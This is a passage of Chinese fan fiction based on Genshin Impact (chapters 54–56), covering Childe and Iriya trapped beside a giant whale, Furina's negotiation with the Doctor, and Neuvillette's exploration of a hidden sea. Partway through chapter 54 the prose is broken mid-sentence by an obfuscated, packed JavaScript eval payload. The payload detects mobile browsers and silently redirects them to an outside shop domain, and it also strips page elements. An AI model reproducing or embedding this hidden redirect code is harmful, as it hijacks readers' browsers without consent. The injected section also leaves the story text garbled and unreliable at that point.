只见他用手撑了下地,摇摇晃晃站起来,脚步略显虚浮地走到了距离源水之滴不足一米的距离停下后,一把捞起源水之滴,接着重新盘膝坐下。 「公子」伸出食指,在珠子外壁上点了点,“里面有鱼?” 伊芮娅闻言,很快从源水之滴顶部探了小半截身子出来,笑着抬手冲「公子」挥了挥。 「公子」回了一个笑容。 他先前在咻登锵剧院顶楼的花厅见过枫丹的水神抱着这颗珠子,联系上此前听「仆人」和「博士」说过,枫丹有一条半条小臂大小的半人半鱼,猜出里面是谁并不难。 可为什么被水神和最高审判官双双看重的这条小鱼会在这里? 这么想着,他也就这么问了出来。 伊芮娅歪了歪脑袋,“找你呀。” 「公子」一愣,双目之中是难以掩饰的错愕之色,“找我?” “咿呀!”小人鱼点点头。 “那么你现在已经找到我了,然后呢?”「公子」脸上的玩味之色一闪而过,“然后你打算怎么做?” 伊芮娅拍了拍源水之滴,“等蓝鱼鱼……唔,就是那维。” 「公子」:“……” 他不可置信地又问了一遍,“所以你的方案就是等那位最高审判官找下来?” 然后得到了伊芮娅的肯定答复。 「公子」深深吸了一口气,万分惆怅地指向地下,“你觉得我们能撑到他找过来吗?” 小人鱼沿着他指的方向望去,这时,它才发现这里的地面是一层薄薄的透冰,而在冰面的下方,沉睡着一只一眼望不到头的,身躯堪比“法图纳号”的庞然大物。 瞧着伊芮娅被吓呆了的模样,「公子」扯唇笑了一声,右手臂抬高,露出一片血红的腰腹,“我们已经交过一次手了,下面躺着的这头大鲸鱼很强。” “我有自保的手段,与它耗上月余没有问题。可你呢?”「公子」半眯着眸,五指之间隐约有紫色电光环绕,“我与他战斗的时候,可顾不上你啊。” 小人鱼望着他冰蓝色双目中跃动的战意与喜悦,倒抽了一口冷气。 与此同时,在枫丹新科学院的走廊里简单支了张桌子,已经不慌不忙地用过下午茶的芙宁娜,终于等到了「博士」参观完他感兴趣的实验,和管理人员一路谈着过来。 “「博士」,参观的如何?”芙宁娜放下刚刚端起,还没来得及喝上一口的红茶,迫不及待地问道。 「博士」自然地坐到芙宁娜对面的椅子上,合掌拍了拍,“枫丹不愧为水的国度,在隔水技术方面的研究堪称全面、全新、全能。我在此非常感谢芙宁娜小姐的邀请,并向实验室的科研人员致以最崇高的敬意。” 听他这么说,芙宁娜控制不住地扯了扯唇角。 坐着一边给自己倒茶,一边表达敬意,世上估计也就「博士」这人独一份了。 嘴里说出来的敬意,在他的行动上可完全看不出来,都是些撑撑场面的客套话。 可她不能直接落了「博士」的假面,遂皮笑肉不笑道:“哦?「博士」何出此言?” 54.Chapter 54 7.27 Saturday 暮落碎星 「博士」屈指点了点桌面,“芙宁娜小姐应当知晓,我最近在研发一款让人类可以在水下自由呼吸的药剂。” 芙宁娜不轻不重“嗯”了一下。 “众所周知,水里是含有氧气的。人类无法再水里呼吸,根本上是缺少一个像水生鱼类的鳃、藻类的叶绿体、海星无脊椎动物的皮肤管道或是鲸鱼等哺乳动物的肺部存储。” “而我依靠原始胎海水为重要材料研制而出的药剂,模拟的是第二种藻类通过叶绿体进行光合作用,在体内转换氧气,以达到短时间的氧气自产自用,从而实现在水下自由呼吸。” “然后呢?” “看来芙宁娜小姐对自家科学院的研究还不甚了解。”「博士」颇有深意地笑了两声,“相较于我的研究,枫丹对海的探索十分全面。” “早在芙宁娜小姐你继位水神之前,哦,不。应该说早在厄歌莉娅成为初代水神之前,当时生活在这片土地上的人类,就已经发明出了通过吸收水生海马的力量,驱动可控机关,实现模拟鲸鱼等哺乳动物的肺部存储的隔水机关。” “到了厄歌莉娅时代,科研人员参考海星无脊椎动物使用皮肤管道呼吸的模式,制作出了潜水用具。也就是目前提瓦特大陆上最常见的潜水设备,我想这点你应该不算陌生。” 芙宁娜点点头。 “而到了你,二代水神芙宁娜的时代。”「博士」起身,一手抚于胸口,一手翻掌向天,摆出一副像是沉醉在美妙音乐之中的姿态,语气激昂道,“在你不了解的科学院内,枫丹的令人心生尊敬的科学家们,正在根据鱼类鳃呼吸的原理,制作氧气转换鼻腔贴片。这是一项伟大的研究,这是人类可以在水中自由徜徉的重要一步,而你居然不给这个项目足够的金费支撑,你这是……” “抱歉,我不得不打断你一下。”芙宁娜黑沉着脸,突然插话道,“首先,枫丹新科学院的管辖权在那维莱特手上,我自然而然不会了解科学院的项目。其次,项目经费出现的问题归属财账部,财政部报批每一笔经费都需要符合枫丹的法律,按条按规进行申请,据我所知,所有科学院相关的项目经费只要报给那维莱特的,他都批了。” “再有,枫丹是水的国度,所有子民都受到水的眷顾,绝大多数的子民与水有着极高的亲和力,在水下闭气时间少则半小时,长可到一个小时左右,所以这个项目在枫丹的国情下,不受重视是很正常的情况。最后,若是看好这个课题,可以按照流程,向枫丹新科学院提出交流合作。”「1」 “什么流程?”「博士」眼睛一亮,随后陡然双手撑在桌子上,逼近芙宁娜,“等等,枫丹人可以在水下闭气这么长时间?” 「博士」心底一惊,半个小时到一个多小时,这个时间都快赶上他研制出的药剂时间了。 “对啊,这不是应该所有人都知道的吗?”芙宁娜耸耸肩。 「博士」“啧”了一声,“看来是这些年我的目光多数时间都停留在了须弥,导致了我对其他几国的科研技术都不够重视。” 望着「博士」这般模样,芙宁娜心里暗自松了一口气,还好,她找到了与「博士」药剂功能重合,甚至功效好过药剂的课题。这下子,只需要用这个鱼饵牵制住他,梅洛彼得堡那边,应该就没什么问题了。 于是,芙宁娜在斟酌过后,缓缓问道:“你不是已经研发出了可以让人在水底自由呼吸的药剂,为何还会对这个氧气转换鼻腔贴片感兴趣?” “怎么,这个问题,那维莱特没和你讲吗?”「博士」冷哼一声,回道:“一是药剂的作用时效只有一个小时;二是制作药剂的必要原材料很难获取,无法大批量生产;三是成本极高,原材料、制作器皿、存储器皿、路上运输等等,每一环都是钱;最后就是运输和保存的问题,药剂需要用玻璃管装,运输携带都不方便。” “我明白了。”芙宁娜装作恍然大悟的样子,接话道,“所以对比起你研制的药剂,枫丹研发的氧气转换鼻腔贴片,更具方便使用的现实意义,制作也更加方便。” “是这样的。” “我很好奇,作为在科学界鼎鼎盛名的「博士」……”芙宁娜很刻意地拖了个长尾音,“你怎么没有想到模拟鱼鳃,发明一个类似的东西?” 「博士」面色一僵,搓了搓手重新坐下,略显尴尬道:“术业有专攻,我更多偏向生物化学方面,至于物理这块……实在非我所长。” 好机会! 芙宁娜伸手摩挲着下颌,摆出一副敛眉深思之势,半响过后,她目光如炬地望向「博士」,提议道:“我有一个想法。” “你说。” “科技新融合。”芙宁娜道,“我建议,至冬与枫丹合作。” “至冬方面由「博士」先生你牵头,枫丹方面由……”芙宁娜视线一划,落在靠在墙边,毫无存在感的塞勒洛斯身上,“由塞勒洛斯负责对接。我们两国在科技交流合作,共同进步,提升在提瓦特的影响力的同时,还能建立友好的互助互建互享关系。” “这是由我,水神芙宁娜,向至冬提出的友好交流申请。” 「博士」闻言一愣,蹙眉道:“我的确是想参与氧气转换鼻腔贴片的研究课题,但是上升到两国合作方面……恕我暂时无法作出决定。” “没关系,反正科学院就在这,实验室和课题又不会跑,「博士」先生可以先返回至冬一趟,向你们的冰之女皇转述我的提议。哦,对了,等我写好方案,沫芒宫审核通过并备案留存之后,会发往至冬,交到冰神手上。” 话音刚落,芙宁娜不由得微微抬起下巴。 天啦撸,她可太聪明了! 以「博士」的科研实力,直接同意他参加课题,指不定一两天,他就把这什么鼻贴片研制出来了。到时候他再打原始胎海水的主意,可就麻烦了。 难为她有如此聪明的脑子,想到了这么一个好点子。 用鼻贴片这个胡萝卜先吊着他,然后搞出一个两国合作,这样就算全部以最快速度,且没有遇到妨碍地顺利跑完整个手续流程,都要小一个月的时间。更别说至冬冰神那边和不一定会同意她胡诌出来的这个科技合作。 她真是太聪明了! 芙宁娜还在沾沾自喜呢,就听「博士」问道:“不能我以个人的名义参与这个对枫丹来说并不重要的课题吗?” 芙宁娜用看傻子一般的目光,白了「博士」一大眼,“你是不是忘了,枫丹是正义与法律的国度。” 见「博士」还是一副不明所以的表情,芙宁娜耐着性子,义正辞严地把话说全了。 “在枫丹,从没有至关重要的、身居高位的、危险系数极高的外国人士参与科学院的研究。也就是说,你要是想以个人的名义参加这个课题,你需要向沫芒宫提出书面申请,然后办理枫丹暂留手续、财产证明、枫丹法律知情书、受枫丹法律约束同意书等等等,一堆乱七八糟的手续。” “在全部材料齐全之后,你才能申请开庭,等开庭申请通过之后,会安排庭审时间,到庭审时,再由谕示裁定枢机判决你是否可以以个人的身份参与科学院的研究。” “而这个案子,以前从来没有过,也无相似案例可供参考。”芙宁娜摊手,“至于谕示裁定枢机给不给通过……也不好说啊。” “最关键的是!”芙宁娜扫了眼「博士」难看的表情,努力压下上扬的嘴角,竖起两根手指,“这一套流程下来,最少最少,打底都需要两个月的时间。” 「博士」扶额道:“那按照枫丹的法律,两国建立科技合作关系,所需要走的流程不是更多了吗?等的时间难道不是更长?” “不不不不。”芙宁娜伸出食指摇了摇,“两国合作,是我提出的。我是谁?我可是枫丹的神明,水神芙宁娜,我的提案将会以最快的速度、最优的流程、最便的方式,通过审批。” “我记得之前有一次,我的提案从开始写,到审批通过,前前后后只用了三天时间。综上所述,「博士」先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129643|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,你要相信,我所提供的方案,一定是你最合适的选择。” 「博士」没有说好,也没有说不好,只是端起茶杯喝了口茶,沉默地望着茶盅中上上下下、浮浮沉沉的茶叶。 见场面陷入僵局,芙宁娜微咳两声,清了清嗓,“不然这样,我看外面天色也不早了。今日就先到这里,你先回去休息。” “明早,我在沫芒宫等「博士」先生的答复。” 「博士」犹豫片刻,应了下来。 芙宁娜招招手,让塞勒洛斯和科学院胖胖的管理人员送「博士」离开,自己则在三人的身影完全消失在视野之后,长长地舒了一口气。 天知道,她这么撑着演下来,有多累。 好歹,这应该可以算是暂时是稳住「博士」了吧。 还不知道梅洛彼得堡那边,现在是个什么情况。 就在一个小时之前。 在被芙宁娜挂念着的梅洛彼得堡前,那维莱特正带着希格雯、菲米尼和三个改良款的新一代驻点勘测仪器缓缓穿过巨大的隔水屏障,进入梅洛彼得堡的内部。 往里深入了没一会,那维莱特便叫停了他们,“差不多就在此地,我们按照分工散开。” “菲米尼带着三个驻点勘测仪器先在此原地等候。”那维莱特安排道,“希格雯为我引路至伊芮娅被水流卷走的地方后,原路返回至此,与菲米尼一起,放置驻点勘测仪器。” “需要注意的是,如果你们在安放的过程中,感受到梅洛彼得堡底层传来任何的异动,即刻放弃安置,舍弃仪器,以自身安全为首要保障对象,以最快的速度离开梅洛彼得堡,返回‘法图纳号’。” 说这段话的时候,那维莱特的语气异常严肃。 吓得菲米尼没有片刻犹疑地大声道好,希格雯则是掩唇笑了笑,轻轻点了点头。 “那维莱特大人,你放心,我有经验,知道异动是怎么样的。遇到突发情况,我会带着菲米尼一道冲出去。” “嗯,如果遇上你应对不了的局面,优先保护好自己。”那维莱特的声音微微软了一些,“菲米尼有我凝聚的源水之滴,他在里面很安全。” 说着,他转眸对上菲米尼,“并且我已经封死从里到外的出入权限,你无法主动离开源水之滴。还有一点,发生撞击的时候,你注意避让,别把手腕上的通讯设备撞坏了。” “好……好的……那维莱特大人,我全都记住了。”菲米尼垂着的头,更低了。 “希格雯,我们走吧。” 一龙一美露莘很顺利的一路往下,游到了梅洛彼得堡的地下五层。 “我推测,引发震荡的东西应该就在这个下面。”希格雯半蹲在地上,敲了敲铁片地面。 虽说从人类的角度来看,声音在水中的听感会变得扭曲,但对那维莱特和希格雯来说,水生是他们与生俱来的天性,对水中声音的分辨能力,甚至还要高过陆地上空气传播。 随着希格雯的敲击,地面传来了极其明显的空腔音。 “下面果然是空的。”希格雯道,“但是我想不明白,为什么水流的源头,会在公爵的办公室里。” “应该是厄歌莉娅所设的阵法。”那维莱特揉了揉希格雯的脑袋,“你先去找菲米尼吧,我下去看看。我方才也感应到所载伊芮娅的源水之滴的气息就在下方,我们找的方向是对的。” “好的。”希格雯乖巧答应,“那维莱特大人,你也要注意安全。” 随后,那维莱特与希格雯在管理区分开,再一次进到了公爵办公室,旋转机关,打开了密道。 进过一次喷涌爆发,显示原始胎海水储量的仪表盘上的指针,重新回到了黄色区域。 那维莱特抬手结印,在压制住里面原始胎海水,确保不向外流出的情况下,将圆盘阀门撕开一道仅能容纳他侧身通过的口子。在他飞身而入后,立刻重新封住阀门。 待他落地站稳,只见,片片极光入目。 这里是一片宛如异世的星碎之海。 55.Chapter 55 7.27 Saturday 夜寂流虹 望着眼前豁然开朗的景致,那维莱特银灰色的瞳孔缓缓向内收缩。 在此之前,他从来没听过,不知道也没见过这里。 与其说这是海,倒不如说这里是一片广阔到目不能及尽头的,被估摸着只有一个指节厚度的薄冰层封住的,看上去已经没有水的流动的,正处于静止状态下的粘稠度很高的巨大胶质固态。 那维莱特屈膝半蹲,取下常年戴在手上的手套,微凉的指尖轻轻触碰在冰面上。 很奇怪的触感,不寒,也不冷,不是冰应该有的温度。 接着他指腹稍稍用力,往下一压。很快,以他指腹为中心,“冰面”受力,出现了一圈一圈细细密密的蛛网状裂纹。 他讶异于“冰面”的韧度,在估摸着它濒临破碎的时候,松开了手,而后奇诡的一幕发生了。 碎裂的“冰面”以一种不可思议的速度,从裂纹的尽头,肉眼可见地飞快消失,不过两三秒的时间里,被那维莱特弄出的约莫有一平方米大小的裂纹已经被修复得完好如初。 他眼睫微阖,落眉凝视着脚下的这块“冰面”。 经此一遭,他发现,这脚下的“冰面”仿佛是有生命力一般在不断地…… “生长”。 是了,它不是简单的修补,更像是植物一般,用植物纤维将裂口缝合,重新“生长”完好。 就在那维莱特观察并且更进一步探索此地的同时,在距离他直线距离三十公里的西边,伊芮娅正趴在「公子」肩头,百无聊赖地打了个大大的哈欠。 “还是没修好嘛?” 「公子」重重叹了一声,接着万分不解道:“我按你说的方法理线,按理来说,应该不会出错了啊。” 顿了顿,他偏头斜目问道:“小家伙,你确定你真的会修这个?” 伊芮娅果断摇头,“不呀。” 「公子」握着零件的手臂垂落下去。 他这是被耍了? “我在船上,看过组装,记得。”说着,伊芮娅很苦恼地抬起小手,拍了拍「公子」,“你之前弄太乱啦,试这两块换换?” 「公子」揉了揉太阳穴,任命似地一闭眼,又一睁眼,再一次把组装好的勘测仪器给重新拆开。 熟能生巧这话可一点不假。 在经过数次拆装拆装之后,如今的「公子」只花了不到一刻钟的时间,就完成新一次的组装。 “如果这次还是不行,我们还是考虑考虑另谋出路吧。” 语罢,「公子」不抱希望地拨动勘测仪器的开关键。 只听“叮咚”一声,仪器的显示屏幕亮了。 “修好啦!”伊芮娅很开心,抱住「公子」的脖颈,用小脸虚虚蹭了蹭他,然后尾巴一扬,顺着他的前胸滑下,动作灵活地缠在他的右臂上。 “这颗,发信键。”它一手按在「公子」的手腕上,撑起上半身,另一手指向屏幕左侧的一枚黄色按钮。 「公子」按了一下,等了一会,不见勘测仪器有什么反应。 “没动静啊。” “闪了两下,发过去啦。” 「公子」下意识又按了一下,见黄色按钮的灯珠确闪动了两下,微愣了片刻,问道:“就这样?这玩意不能双向交互吗?” “不呀。影像发过去,那维维来找我们。”伊芮娅欢快道。 「公子」:“……” “趁着下面这玩意休息,我们还是去看看有没有其他出路吧。” “不呀!”伊芮娅慌忙立起身子,两臂相交比了一个叉,“你伤好重,藏起来,等那维维。” 「公子」是谁,他当然不会听小人鱼的。 他两指掐住小人鱼腋下,将它提起来,放到源水之滴旁边。 “你进去藏着,我休息得差不多了,再去会会下头的大鲸鱼。” 说完,他摇摇晃晃站起身。 下一瞬,「公子」弯腰猛得咳嗽了两声,单手捂住腰腹间,喘息渐重。他被困在这里,没有医疗资源,那道贯穿整个侧腰,深可见骨的伤口,仅用伊芮娅的拖尾裙草草包扎处理过。 他踉跄两步,抬手化出水刃撑住身子,锐利的目光死死盯住前方。 伊芮娅有心想拦,但它在“冰面”上视角受限,旋即灵机一动,爬进源水之滴中,从它的顶部探出身子。从它的视角,刚好可以看见自己裙子的粉色布料,正被刺眼的红侵染。 它仰头冲着「公子」“咿呀咿呀”地叫唤了好半天。但「公子」不知道是没听见还是怎得,全然没有要搭理它的意思。 伊芮娅紫罗兰色的眼眸一紧,溢满了忧心,它钻回源水之滴,仿照先前靠尾巴带动惯性移动的方式,没一会就赶上了重伤未愈的「公子」,挡在他前面。 “不呀。”伊芮娅重新冒出头来,双手展平张开,大声喊道:“养伤哇。而且……而且,找出口,为什么要打架?” 「公子」抬脚的动作一顿,低下头,对上小人鱼的目光,语气里是前所未有的认真,“打败它,就能找到出口了。” 伊芮娅:“啊?” “它一直缩在下面,应该就是在守护出口。”「公子」笃定道。 “不啊,我从天上掉下来……”伊芮娅反驳道。 “绝对在下面,况且……”「公子」斩钉截铁地截断了它的话,随即表现出异常的兴奋,“数年未见,现在的我已经不是当年的我了。” 听到这话,伊芮娅有些懵,这口吻怎么感觉「公子」像是以前见过大鲸鱼一样呢? 没等它想明白,便感觉源水之滴突然凭空在“冰面”上滚动了起来,小人鱼的身体随之失去了平衡。 “哎?哎哎哎?你等……”它一边摆动着尾巴想稳住方向,一边眼珠子咕噜着往四周看了圈,正好瞧见「公子」正不慌不忙地收起水刃,还对着渐渐滚远的它扬了扬刀背。 伊芮娅瞬间明白了。 原是「公子」直接用刀背,把圆滚滚的源水之滴给推开了。 没有了“拦路虎”,「公子」提着刀,继续冲着大鲸鱼走去。 而,正如伊芮娅所想的那样。 “法图纳号”巨轮上,正操纵着希格雯和菲米尼安置好的新一代勘测仪器的科研人员,在极小的“叮咚”提示音后,收到了「公子」和伊芮娅传回的影像资料。 但碍于他们所处的地界 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“是的。”莱欧斯利头点地利索,但很快就给他们无情得泼了盆冷水,“然而那维莱特又不是万能的,我们并不知道他能否找到去这个未知地界的入口,又能否从打伤「公子」的东西那里带回「公子」。” “况且,当时我们的护士长本来是正在给这位「公子」先生治疗的。是他自己从病床上跑了出去,然后就没了踪迹。而梅洛彼得堡方面,哪怕是在我们撤离的时候,工作人员都在尽职尽责地留意与寻找他的踪迹。” 闻言,林尼和琳妮特没有吭气,对视了一眼,经过短暂的眼神交流之后,林尼取下帽子,微微躬身一礼,“公爵大人,事关执行官的安慰,我现在需要回去和父亲大人汇报情况。琳妮特就暂时留在这里,协助你们,你看可以吗?” “昂,我没意见。”莱欧斯利蛮无所谓地应下了。 在他看来「公子」在梅洛彼得堡里下落不明,一定程度上的确是梅洛彼得堡的责任。但如果是他出现在了梅洛彼得堡的禁区或是其他封锁地带,比如说现在「公子」所处的,连他都没见过,不知道是什么地方的海域。 这摆明了是「公子」不服从梅洛彼得堡的管理,到处乱跑,自己跑到未知地带去的,和梅洛彼得堡没有什么关系。如此一来,就算「仆人」施压,都会因此自退一城,不占先机。更别说,梅洛彼得堡方面,还帮助愚人众找到了「公子」的下落。 若是那维莱特能顺利把「公子」拎回来,在白淞镇塌陷事发,受了愚人众的人情之后,枫丹对至冬一直处于不利地位的外交形势,算是扭转回来了。 这么想着,莱欧斯利随口编了个理由,支开了琳妮特,拍了下科研人员的肩膀,不动声色地问道:“现在能联系上那维莱特吗?” “不行,公爵大人。刚是有外人在,我不好说。自从那维莱特大人那边的画面突然断了,我到现在已经重连过七八次了。”科研人员苦着脸道,“会不会那维莱特大人也进入了这片未知海域?” “很有可能。”莱欧斯利“啧”了一声,扭头看了看窗外黝黑的夜空,发愁道,“说着不能全靠他,但我们现在除了相信那维莱特,也做不了其他更多的事情了。” “只盼明天,会是个好天气。” 56.Chapter 56 7.28 Monday 破晓露重 天刚刚蒙蒙亮起,芙宁娜就在一阵极富节奏的敲门声中醒来了。 站在门外一身燕尾服的塞勒洛斯,在听到代表她许可的“进”后,扭动门把手,右手端着茶盘,迤迤然走到茶桌前,为芙宁娜布置好今日的早餐。 “今天吃什么?” “我新学会的莓果西多士,外加一杯冰淇淋拿铁。” 塞勒洛斯侧身,让梳妆打整好的芙宁娜坐下。 “哇,看起来很美味。”芙宁娜不吝夸赞,随后问道,“你吃过了吗?” “做好之后,我就吃过一个了。除了卖相,味道应该也不会差。”塞勒洛斯柔和地笑了笑,不动声色地往后退开几步,在距茶桌约莫一米半的位置站定,这是一个他自觉礼貌且舒适的社交距离。 芙宁娜尝了一口,在松软的面包入口的瞬间,眼睛一亮,“真的很好吃。我原先是觉得以你的武力值,去学做甜点好可惜,像是暴殄天物,浪费人才。” 闻言,塞勒洛斯笑问道:“那现在呢?芙宁娜大人是如何看我的?” “挺好的。”芙宁娜放下面包,不知道怎么,像是被窗外雾蒙蒙的天影响了心情一般,她的语气蓦然沾染上了些许哀惋,“能毫无负担地做自己喜欢的事情,不用在意别人,也没有责任与重担,挺好的。” “还是有负担的。”塞勒洛斯敏锐地察觉到她情绪不对,就着话题开了个玩笑,“就比如说,我还欠着你两个月的工资,和一个月的房租钱。而现在正在通过每天早上给你送餐,偿还我的债务。” “啊,哈哈哈哈。”芙宁娜忍俊不禁,“那只能怪你买衣服的审美实在是太不枫丹啦。我真的头一次见有人把璃月稻妻须弥那边传统的道袍、法袍、袈裟什么的当作常服来穿。” “这些衣服在我原先的世界里,与魔法师的法袍很像。”塞勒洛斯不好意思道。 “说起来,我一直很好奇。你是怎么在露西恩手下白吃白喝了这么久,她那么精明的女人还愿意一直养着你?” 塞勒洛斯一愣,犹豫了半响,轻声答道:“也不算是白吃白喝,我在打理她们的起居生活,平日里她和智源孤儿院的餐食,都是我一个人在负责。” “我从小就对做食物有莫名的兴趣,但因为家传的缘故,进厨房不是一个骑士应该做的事,甚至是一种耻辱,所以之前我没有如实向那维莱特大人坦白。” 芙宁娜咽下最后一口面包,了然道:“我说呢,你怎么突然就跑去甜品店做兼职了。” 说完,她抬眼看了看墙面上悬挂着的闹钟,距离分针指向罗马数字十二还有两个数字。 今天吃早点的时间正正好。 芙宁娜满意地扬起一抹笑容,稍微整理了一下茶桌,起身往外走的同时,问道:“今早的工作安排是什么?” 自从塞勒洛斯开始给她送餐,隔天他就主动找上了芙宁娜的秘书员,接手了每天利用从楼上下到办公室的几分钟时间,给芙宁娜汇报日程的活。 “早上就只有一项。”塞勒洛斯从口袋里掏出值夜班的秘书员今早下班之前,给他的日程卡。 “「博士」昨夜来信,今早想与你面谈,秘书处鉴于事件的紧要程度,将会见时间安排在了今早十点钟,距离现在还有一个小时零七分钟。” “嗯?他要见我?莫不是科学友好合作交流的事,考虑好了?”芙宁娜若有所思道,“但昨儿才说的这件事,就才过去了一个晚上,不应该这么快吧。” “「博士」只说了需要与您面谈,没有具体说是因为什么事情。嗯……还有一桩事。”塞勒洛斯又从另一边的口袋里摸出一封急讯,“是今早八点二十三分,‘法图纳号’发来的急电:那维莱特大人在昨天傍晚的时候去梅洛彼得堡探查,至今未归,也无任何消息传回。同时,在梅洛彼得堡内部发现通向位置海域的入口,失踪的「公子」和伊……伊芮娅,都被困在了里面,占无解救方法……” 芙宁娜脚步一顿,沉默地转过身,从塞勒洛斯手里抽走纸条,逐字阅读。末了,她反手将纸条往塞勒洛斯身上一丢,“那维莱特至今未归,也无音讯,就代表了他正在处理这件事。” “如果他遇上了其他情况,以他在公事上极其注重流程的性子,一定会传出消息。没有消息,意味着他现在正在做的,就是已经预先安排好的事情。而他和「仆人」借走菲米尼,不就是为了找先失踪的「公子」和后不见的伊芮娅。” 塞勒洛斯迟疑片刻,问道:“需要加派人手增援那维莱特大人吗?急讯里写了从「公子」的伤势和梅洛彼得堡的打斗现场看,未知海域里存在不明立场,不明身份的敌人。” “你想去?”芙宁娜拉开办公室的门,反问道,“担心小人鱼了?” “嗯,有点。”塞勒洛斯点头,“不是我不信任那维莱特大人,只是他毕竟是一个人去的,万一对面人多势众……” “在提瓦特,除了其他六国的神明亲自出马,还没有其他什么生灵可以奈何得了那维莱特。”芙宁娜来到办公桌前坐下,翻看起秘书处连夜赶出的《有关建立冰水两国科技友好合作交流的可行方案》。 虽说「博士」来不一定是为了这件事,但她还是准备一下,防止一会问起来的时候,她不知道怎么回答。 见状,塞勒洛斯也不好再过多打扰,行了一个礼,退出办公室,回到沫芒宫门口,穿着一身西装,站岗去了。 一个小时的时间转瞬而过,当芙宁娜再一次听到敲门声 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“看来芙宁娜女士没有明白我的意思。”「博士」出发一声冷笑,“在提瓦特生活的百分之九十九的生灵都是由原始胎海水孕育而出的,所以原始胎海水是提瓦特所有生灵的公有资源。而提瓦特所有的生灵现今已经划分为七个国度,所以……” 「博士」刻意拖了个长音,语气加重道:“原始胎海水,是不是也应该平等地化为七份。有一份,应当属于至冬。” 芙宁娜一听,人都傻了,昨天「博士」不是对枫丹的隔水技术很感兴趣,并且认可了其价值高于他正在研发的药剂吗?怎么一晚上过去,他就变卦了? “芙宁娜女士,对于我的提案,你如何看待?”「博士」等了一会,见她一直没什么反应,忍不住催促道。 “不不不,不是这么算的。”芙宁娜赶忙连声否决。 “那你的意思是,原始胎海水是枫丹一家的了?” “也没有……” “那它是无主之物?”「博士」步步紧逼。 “不是……”芙宁娜想了又想,在看到一侧小茶几上放的高脚杯时,终于找到了个好理由,“原始胎海归属于水之龙王。” “嗯,我明白了,原来水神芙宁娜是这么定义的原始胎海的。”「博士」脸上的笑突然变得有些残忍,“芙宁娜女士,劳烦你和我走一趟吧。” 话音刚落,他抬手抓住芙宁娜的肩膀,地面上徐徐浮现出一个阵法。奇怪的是,「博士」只是抓住了她,并没有限制她的语言或是伤害她。 “你要做什么!!!” 然而芙宁娜还是被他突如其来的举动吓到了,慌忙扯着嗓子喊起来,“来人,快来人!” 就在塞勒洛斯冲进来的一瞬间,「博士」和芙宁娜消失了。 “我要做什么?其实只是……” “想邀请芙宁娜女士,陪我去看一场别样的‘歌剧’。”